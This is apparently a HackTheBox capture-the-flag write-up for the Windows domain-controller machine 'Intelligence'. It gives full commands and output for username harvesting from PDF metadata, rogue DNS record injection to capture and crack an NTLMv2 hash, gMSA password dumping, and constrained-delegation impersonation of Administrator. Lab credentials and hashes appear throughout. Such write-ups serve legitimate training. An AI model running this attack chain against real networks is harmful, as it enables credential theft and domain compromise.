HTB(W) - Intelligence

┌──(root㉿kali)-[~/box/intelligence]
└─# nmap -sC -A -p- -T4 10.10.10.248                                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 01:16 EDT
Nmap scan report for 10.10.10.248
Host is up (0.045s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Intelligence
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-04 12:18:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-04T12:19:48+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2024-07-04T11:20:46
|_Not valid after:  2025-07-04T11:20:46
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2024-07-04T11:20:46
|_Not valid after:  2025-07-04T11:20:46
|_ssl-date: 2024-07-04T12:19:48+00:00; +7h00m01s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-04T12:19:48+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2024-07-04T11:20:46
|_Not valid after:  2025-07-04T11:20:46
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2024-07-04T11:20:46
|_Not valid after:  2025-07-04T11:20:46
|_ssl-date: 2024-07-04T12:19:48+00:00; +7h00m01s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
56286/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-07-04T12:19:11
|_  start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s

TRACEROUTE (using port 135/tcp)
HOP RTT      ADDRESS
1   44.99 ms 10.10.14.1
2   45.12 ms 10.10.10.248

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.65 seconds

-- no anonymous bind -- no anon smb

200      GET      209l      800w    48542c http://intelligence.htb/documents/2020-12-15-upload.pdf
200      GET      208l      768w    47856c http://intelligence.htb/documents/2020-01-01-upload.pdf

feroxbuster found upload pdfs like this, so im curious if there's any other yyyy-mm-dd pdfs in that documents directory

https://github.com/Septimus4/dateGenerator

![](/img/Pasted image 20240704134543.png) bada bing baby

NewIntelligenceCorpUser9876

another document:

Internal IT Update
There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

ted is probably the name to use for the above pw actually, ted wasn't the name to use. you had to grab metadata from the PDF files in order to get a list of usernames.

we wrote this bash oneliner:

 exiftool -Creator -csv *.pdf | cut -d ',' -f 2 | grep -v '^Creator$' | sort | uniq > ~/box/intelligence/users.txt

once we got a set of credentials, we enumerated SMB and found a script that appeared to be sending http requests to all the webservers on the domain.

┌──(root㉿kali)-[~/box/intelligence]
└─# cat downdetector.ps1 
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

we were able to use dnstool.py to connect to the LDAP server, bind to the server with the credentials we have, and add a new DNS record web1 with our kali IP address. When ted's script finds our responder webserver, we capture his NTLM hash.

┌──(root㉿kali)-[~/git/krbrelayx]
└─# python3 dnstool.py -u 'intelligence\Tiffany.Molina' -p NewIntelligenceCorpUser9876 10.10.10.248 -a add -r web1 -d 10.10.14.6 -t A
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
[HTTP] NTLMv2 Client   : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:86a4e72672604d89:7A3E8FC415187DD3A5BBB2FC597A8922:0101000000000000CA84F0BB9DCEDA012833E77C9AC09F8800000000020008003300380037004E0001001E00570049004E002D0042005500350047004700360053003700480036005700040014003300380037004E002E004C004F00430041004C0003003400570049004E002D00420055003500470047003600530037004800360057002E003300380037004E002E004C004F00430041004C00050014003300380037004E002E004C004F00430041004C0008003000300000000000000000000000002000005734BB178C7751AE5EA3289ECAAFB0848DC59E92DEEECD37E470E8F3FA233A900A001000000000000000000000000000000000000900340048005400540050002F0077006500620031002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000                                                                                                                    
[+] Exiting...

and yields password: Mr.Teddy after cracking with hashcat ![](/img/Pasted image 20240704175811.png)

i decided to bloodhound dump with mr.ted and we found that he's a part of the group it_support with it_support we can dump hashes for svc_int:

┌──(root㉿kali)-[~/git/gMSADumper]
└─# python3 gMSADumper.py -d intelligence.htb -u Ted.Graves -p Mr.Teddy 
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::745bd2c68dfc101a74f48d87027c7dc6
svc_int$:aes256-cts-hmac-sha1-96:8b2e9edb20258a45ad9084c89e7df761f3b85da5abd92849c150d4ed43f1056f
svc_int$:aes128-cts-hmac-sha1-96:798345b20bd9a8866a87b351c0ad68f3

![](/img/Pasted image 20240704182259.png)

We can now abuse constrained delegation to request a TGT for the Administrator user (if the clock skew is too high, we can use a tool like ntpdate to adjust our time): We can now use the acquired ticket to get a shell as Administrator via wmiexec.py : echo "10.10.10.248 intelligence.htb" | sudo tee -a /etc/hosts sudo ntpdate -s 10.10.10.248 getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :b98d4cef68f72a98dfeed732d1b1abca

┌──(root㉿kali)-[~/box/intelligence]
└─# ntpdate -s 10.10.10.248
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/intelligence]
└─# getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :745bd2c68dfc101a74f48d87027c7dc6
Impacket v0.11.0 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

save the .ccache into KRB5CCNAME

┌──(root㉿kali)-[~/box/intelligence]
└─# export KRB5CCNAME=/root/box/intelligence/Administrator.ccache
┌──(root㉿kali)-[~/box/intelligence]
└─# wmiexec.py -k -no-pass dc.intelligence.htb                   
Impacket v0.11.0 - Copyright 2023 Fortra

[-] [Errno Connection error (dc.intelligence.htb:445)] [Errno 111] Connection refused

not actually sure why this didn't work, but we can just use netexec to cat out the root file anyway

┌──(root㉿kali)-[~/box/intelligence]
└─# nxc smb intelligence.htb --use-kcache -x 'type C:\Users\Administrator\Desktop\root.txt'
SMB         10.10.10.248    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.248    445    DC               [+] intelligence.htb\Administrator from ccache (Pwn3d!)
SMB         10.10.10.248    445    DC               [+] Executed command via wmiexec
SMB         10.10.10.248    445    DC               a33bae3c7d2657c9633ea9836d95354e

Lessons

PDF files will sometimes contain metadata, and you can get a list of users from that metadata. ![](/img/Pasted image 20240704140134.png)

exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userlist

If you know ahead of time that the domain is sending DNS requests you can use dnstool.py with a set of authenticated user credentials

Using gMSADumper.py when you have the Group-Managed Service Account permission, for a hash. Using that hash with getST.py to create a service ticket for administrator. The GMSA can allow you to spawn credentials as root this way.